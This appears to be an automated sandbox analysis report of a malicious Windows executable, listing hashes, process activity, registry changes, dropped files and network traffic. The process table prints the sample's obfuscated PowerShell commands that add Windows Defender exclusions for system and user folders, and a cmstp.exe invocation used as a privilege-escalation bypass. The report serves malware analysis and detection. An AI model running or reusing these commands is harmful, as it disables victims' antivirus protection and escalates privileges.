| File name: | 432883fe-c350-439d-68c4-1a7cf51825e6.tmp |
| Full analysis: | https://app.any.run/tasks/656aa645-b2ef-4eb8-99fa-6988da0441ff |
| Verdict: | Malicious activity |
| Analysis date: | March 03, 2025, 22:15:56 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Indicators: | |
| MIME: | application/vnd.microsoft.portable-executable |
| File info: | PE32+ executable (GUI) x86-64, for MS Windows, 6 sections |
| MD5: | 151AA5AF96DF99FAEAB4F02B443FDB8A |
| SHA1: | F1F739DF88AD19A91CED5D0C8CE5AD9B033B3269 |
| SHA256: | 569DFF98B6D83D742F8202E2A28407E4A0B4B44F1513979AA78E7D3CDB881091 |
| SSDEEP: | 768:cOxrWANHU8W2cndBTOI1dQkMBMho07EGPzshSiJXyGA7i/IMKB+Xoxx3NLOpYq:j5RxwdBT3dQkMBo7EGPz2d/It/qp |
MALICIOUS
Known privilege escalation attack
- dllhost.exe (PID: 7248)
SUSPICIOUS
Possibly malicious use of IEX has been detected
- 432883fe-c350-439d-68c4-1a7cf51825e6.tmp.exe (PID: 7376)
Starts POWERSHELL.EXE for commands execution
- 432883fe-c350-439d-68c4-1a7cf51825e6.tmp.exe (PID: 7376)
Reads security settings of Internet Explorer
- ShellExperienceHost.exe (PID: 7940)
INFO
Create files in a temporary directory
- 432883fe-c350-439d-68c4-1a7cf51825e6.tmp.exe (PID: 5776)
Checks transactions between databases Windows and Oracle
- cmstp.exe (PID: 2504)
Checks supported languages
- 432883fe-c350-439d-68c4-1a7cf51825e6.tmp.exe (PID: 5776)
- 432883fe-c350-439d-68c4-1a7cf51825e6.tmp.exe (PID: 7376)
- ShellExperienceHost.exe (PID: 7940)
Disables trace logs
- cmstp.exe (PID: 2504)
Creates files in the program directory
- dllhost.exe (PID: 7248)
Checks if a key exists in the options dictionary (POWERSHELL)
- powershell.exe (PID: 7412)
- powershell.exe (PID: 7420)
Script raised an exception (POWERSHELL)
- powershell.exe (PID: 7412)
- powershell.exe (PID: 7420)
Reads security settings of Internet Explorer
- BackgroundTransferHost.exe (PID: 1764)
- BackgroundTransferHost.exe (PID: 960)
- BackgroundTransferHost.exe (PID: 7768)
- BackgroundTransferHost.exe (PID: 5984)
- BackgroundTransferHost.exe (PID: 8176)
Checks proxy server information
- BackgroundTransferHost.exe (PID: 960)
- slui.exe (PID: 7832)
Reads the software policy settings
- BackgroundTransferHost.exe (PID: 960)
- slui.exe (PID: 7676)
- slui.exe (PID: 7832)
Creates files or folders in the user directory
- BackgroundTransferHost.exe (PID: 960)
Reads the computer name
- ShellExperienceHost.exe (PID: 7940)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .exe | | | Win64 Executable (generic) (87.3) |
|---|---|---|
| .exe | | | Generic Win/DOS Executable (6.3) |
| .exe | | | DOS Executable Generic (6.3) |
EXIF
EXE
| MachineType: | AMD AMD64 |
|---|---|
| TimeStamp: | 2025:01:05 02:34:51+00:00 |
| ImageFileCharacteristics: | Executable, Large address aware |
| PEType: | PE32+ |
| LinkerVersion: | 14.42 |
| CodeSize: | 55296 |
| InitializedDataSize: | 30208 |
| UninitializedDataSize: | - |
| EntryPoint: | 0xcfa0 |
| OSVersion: | 6 |
| ImageVersion: | - |
| SubsystemVersion: | 6 |
| Subsystem: | Windows GUI |
Total processes
161
Monitored processes
17
Malicious processes
1
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 960 | "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1 | C:\Windows\System32\BackgroundTransferHost.exe | svchost.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Download/Upload Host Exit code: 1 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1764 | "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1 | C:\Windows\System32\BackgroundTransferHost.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Download/Upload Host Exit code: 1 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2504 | cmstp.exe /au C:\Users\admin\AppData\Local\Temp\9370.icc | C:\Windows\System32\cmstp.exe | — | 432883fe-c350-439d-68c4-1a7cf51825e6.tmp.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Connection Manager Profile Installer Exit code: 0 Version: 7.2.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5776 | "C:\Users\admin\AppData\Local\Temp\432883fe-c350-439d-68c4-1a7cf51825e6.tmp.exe" | C:\Users\admin\AppData\Local\Temp\432883fe-c350-439d-68c4-1a7cf51825e6.tmp.exe | — | explorer.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 5984 | "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1 | C:\Windows\System32\BackgroundTransferHost.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Download/Upload Host Exit code: 1 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7248 | C:\WINDOWS\system32\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7} | C:\Windows\System32\dllhost.exe | svchost.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: COM Surrogate Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7376 | C:\Users\admin\AppData\Local\Temp\432883fe-c350-439d-68c4-1a7cf51825e6.tmp.exe | C:\Users\admin\AppData\Local\Temp\432883fe-c350-439d-68c4-1a7cf51825e6.tmp.exe | — | dllhost.exe | |||||||||||
User: admin Integrity Level: HIGH Exit code: 0 Modules
| |||||||||||||||
| 7412 | powershell -c "$RN = 'Ad'; $RN += 'd-M'; $RN += 'pPref'; $RN += 'e'; $RN += 'rence'; $RN += ' -Exc'; $RN += 'lusi'; $RN += 'onPa'; $RN += 'th '; $RN += 'C:\Wi'; $RN += 'n'; $RN += 'd'; $RN += 'ow'; $RN += 's\'; iex $RN" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | 432883fe-c350-439d-68c4-1a7cf51825e6.tmp.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7420 | powershell -c "$lx8 = 'Ad'; $lx8 += 'd-M'; $lx8 += 'pPref'; $lx8 += 'e'; $lx8 += 'rence'; $lx8 += ' -Exc'; $lx8 += 'lusi'; $lx8 += 'onPa'; $lx8 += 'th '; $lx8 += 'C:\Us'; $lx8 += 'e'; $lx8 += 'r'; $lx8 += 's\'; iex $lx8" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | 432883fe-c350-439d-68c4-1a7cf51825e6.tmp.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7428 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
Total events
15 186
Read events
15 158
Write events
28
Delete events
0
Modification events
| (PID) Process: | (2504) cmstp.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\CMSTP |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (2504) cmstp.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\CMSTP |
| Operation: | write | Name: | EnableAutoFileTracing |
Value: 0 | |||
| (PID) Process: | (2504) cmstp.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\CMSTP |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (2504) cmstp.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\CMSTP |
| Operation: | write | Name: | FileTracingMask |
Value: | |||
| (PID) Process: | (2504) cmstp.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\CMSTP |
| Operation: | write | Name: | ConsoleTracingMask |
Value: | |||
| (PID) Process: | (2504) cmstp.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\CMSTP |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
| (PID) Process: | (2504) cmstp.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\CMSTP |
| Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
| (PID) Process: | (2504) cmstp.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Network\Network Connections |
| Operation: | write | Name: | DesktopShortcut |
Value: 0 | |||
| (PID) Process: | (7248) dllhost.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\cmmgr32.exe |
| Operation: | write | Name: | ProfileInstallPath |
Value: C:\ProgramData\Microsoft\Network\Connections\Cm | |||
| (PID) Process: | (7248) dllhost.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion |
| Operation: | write | Name: | SM_AccessoriesName |
Value: Accessories | |||
Executable files
1
Suspicious files
6
Text files
4
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 960 | BackgroundTransferHost.exe | C:\Users\admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\9747e957-743c-4488-aaf0-ba1c8e2cdde2.down_data | — | |
MD5:— | SHA256:— | |||
| 7420 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_aaak1ecu.mrs.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7412 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_cxghfx4e.dqa.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 5776 | 432883fe-c350-439d-68c4-1a7cf51825e6.tmp.exe | C:\Users\admin\AppData\Local\Temp\9370.icc | text | |
MD5:D6553A874FD1CC4844F117CBB7C78D8A | SHA256:0AF4AA2163E8B16682FE5CD7B988D8EC2F66D727AC4A55041497D9ED311536A8 | |||
| 960 | BackgroundTransferHost.exe | C:\Users\admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\ec8dd724-73fd-4dd7-9dd7-179fbbff4a79.up_meta_secure | binary | |
MD5:52A30A0DAD992947E91A6704A0D5D87E | SHA256:431BADD11DF0A847642813D8AC9C194EDE14505B96EC1741813DB25259058CDF | |||
| 960 | BackgroundTransferHost.exe | C:\Users\admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\MetaData\26C212D9399727259664BDFCA073966E_F9F7D6A7ECE73106D2A8C63168CDA10D | binary | |
MD5:AD920BE40A427515437B953485CE0DF6 | SHA256:946482A6EF77C51F6751241DCC1F7018B813FBA9C894FD1DE605C8403A625164 | |||
| 7420 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_twyg2iaq.q0a.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 960 | BackgroundTransferHost.exe | C:\Users\admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\Content\26C212D9399727259664BDFCA073966E_F9F7D6A7ECE73106D2A8C63168CDA10D | binary | |
MD5:996DA96F7B324AF393887F84E28588CF | SHA256:1C50F1B776319E2A94A083CC14276F5E0BA1F37A8AB6E56A4CBD07D926E72F73 | |||
| 7412 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_tubpznn4.adf.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 960 | BackgroundTransferHost.exe | C:\Users\admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\9747e957-743c-4488-aaf0-ba1c8e2cdde2.18b43f8a-5835-4bb2-90d9-5e3c2dbb7c0e.down_meta | binary | |
MD5:A0D76F3B8C14BC10A3224E2747FBAB1E | SHA256:E8299B302DCEF09837B951CE0B5D39DF1C22EA4185391AD279B70FF994E78759 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
34
DNS requests
26
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
7312 | backgroundTaskHost.exe | GET | 200 | 2.23.77.188:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D | unknown | — | — | whitelisted |
6544 | svchost.exe | GET | 200 | 2.23.77.188:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
2924 | SearchApp.exe | GET | 200 | 2.23.77.188:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D | unknown | — | — | whitelisted |
960 | BackgroundTransferHost.exe | GET | 200 | 2.23.77.188:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D | unknown | — | — | whitelisted |
2140 | SIHClient.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
2140 | SIHClient.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
2104 | svchost.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
5176 | RUXIMICS.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
— | — | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
5496 | MoUsoCoreWorker.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
6544 | svchost.exe | 20.190.160.64:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
6544 | svchost.exe | 2.23.77.188:80 | ocsp.digicert.com | AKAMAI-AS | DE | whitelisted |
3216 | svchost.exe | 40.115.3.253:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
2112 | svchost.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
7312 | backgroundTaskHost.exe | 20.199.58.43:443 | arc.msn.com | MICROSOFT-CORP-MSN-AS-BLOCK | FR | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
arc.msn.com |
| whitelisted |
www.bing.com |
| whitelisted |
slscr.update.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
fe3cr.delivery.mp.microsoft.com |
| whitelisted |